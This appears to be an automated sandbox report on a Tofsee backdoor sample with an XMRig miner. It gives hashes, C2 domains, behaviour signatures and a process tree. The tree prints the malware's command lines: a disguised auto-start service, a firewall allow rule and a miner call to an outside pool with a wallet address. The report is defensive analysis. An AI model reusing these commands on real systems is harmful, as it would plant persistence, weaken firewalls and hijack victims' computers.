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Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 23:09

General

  • Target

    file.exe

  • Size

    269KB

  • MD5

    64d9eaeaa490b8129014dda174fecdd4

  • SHA1

    eb80c0e3a20600527bbe405f008d998de58e45b8

  • SHA256

    ca63ebea3ecd1099004b38c13cd7617ea556d18dadd749102b6e837cff9ebf0e

  • SHA512

    a53e24f8fcecff6668d43a55e277187d193a940f7c7274fa5263712d475e96399a484ca4148701379df33177efc2eeb9b5ea9f20d47ec67458ef7575f5f2d3ec

  • SSDEEP

    3072:dNsekaqWDp1O92TAAm7qMtUi22rRzAevI1M3KkfyBswJchRW0r7ovbeBV:wDa3LOI3i22Vzhf3Vq0PM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2396
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sbwtjql\
      2⤵
        PID:1232
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\odvchfkc.exe" C:\Windows\SysWOW64\sbwtjql\
        2⤵
          PID:2884
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sbwtjql binPath= "C:\Windows\SysWOW64\sbwtjql\odvchfkc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sbwtjql "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sbwtjql
          2⤵
          • Launches sc.exe
          PID:2588
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2472
      • C:\Windows\SysWOW64\sbwtjql\odvchfkc.exe
        C:\Windows\SysWOW64\sbwtjql\odvchfkc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2640
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2632
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1980

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\odvchfkc.exe

        Filesize

        13.8MB

        MD5

        efd8490e3fc47d0206e8a6ea585e4d3d

        SHA1

        e96b15c12f17bfe148e1709ac585a24267fe92fc

        SHA256

        f628092d9e501213f765093536f3cff6fbd5e06ef82ed4be96ecf0ad8b6d4587

        SHA512

        2bbefacf2128fa566836af997dcc90838ee5db8d1fffddee94dfeadeb4d5036a1141cc19d8ef3520239a92522cccad31093669f8b0f4b1652d8375b2ac5ec142

      • C:\Windows\SysWOW64\sbwtjql\odvchfkc.exe

        Filesize

        13.8MB

        MD5

        efd8490e3fc47d0206e8a6ea585e4d3d

        SHA1

        e96b15c12f17bfe148e1709ac585a24267fe92fc

        SHA256

        f628092d9e501213f765093536f3cff6fbd5e06ef82ed4be96ecf0ad8b6d4587

        SHA512

        2bbefacf2128fa566836af997dcc90838ee5db8d1fffddee94dfeadeb4d5036a1141cc19d8ef3520239a92522cccad31093669f8b0f4b1652d8375b2ac5ec142

      • memory/1980-73-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/1980-72-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/1980-63-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/1980-64-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/1980-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1980-78-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/1980-77-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/1980-76-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/1980-75-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/1980-74-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/2396-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/2396-1-0x0000000000270000-0x0000000000370000-memory.dmp

        Filesize

        1024KB

      • memory/2396-3-0x0000000000400000-0x00000000004F7000-memory.dmp

        Filesize

        988KB

      • memory/2396-7-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/2396-6-0x0000000000400000-0x00000000004F7000-memory.dmp

        Filesize

        988KB

      • memory/2632-44-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-45-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-27-0x0000000000200000-0x0000000000206000-memory.dmp

        Filesize

        24KB

      • memory/2632-34-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-33-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-35-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-41-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-42-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-43-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-26-0x0000000001880000-0x0000000001A8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2632-40-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-48-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-47-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-46-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-53-0x00000000004D0000-0x00000000004D5000-memory.dmp

        Filesize

        20KB

      • memory/2632-50-0x00000000004D0000-0x00000000004D5000-memory.dmp

        Filesize

        20KB

      • memory/2632-49-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-30-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-39-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-38-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-37-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-36-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/2632-54-0x0000000005990000-0x0000000005D9B000-memory.dmp

        Filesize

        4.0MB

      • memory/2632-58-0x0000000000570000-0x0000000000577000-memory.dmp

        Filesize

        28KB

      • memory/2632-57-0x0000000005990000-0x0000000005D9B000-memory.dmp

        Filesize

        4.0MB

      • memory/2632-62-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2632-23-0x0000000001880000-0x0000000001A8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2632-21-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2632-20-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2632-19-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2632-12-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2632-15-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2632-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2640-16-0x0000000000400000-0x00000000004F7000-memory.dmp

        Filesize

        988KB

      • memory/2640-11-0x0000000000400000-0x00000000004F7000-memory.dmp

        Filesize

        988KB

      • memory/2640-10-0x00000000006B0000-0x00000000007B0000-memory.dmp

        Filesize

        1024KB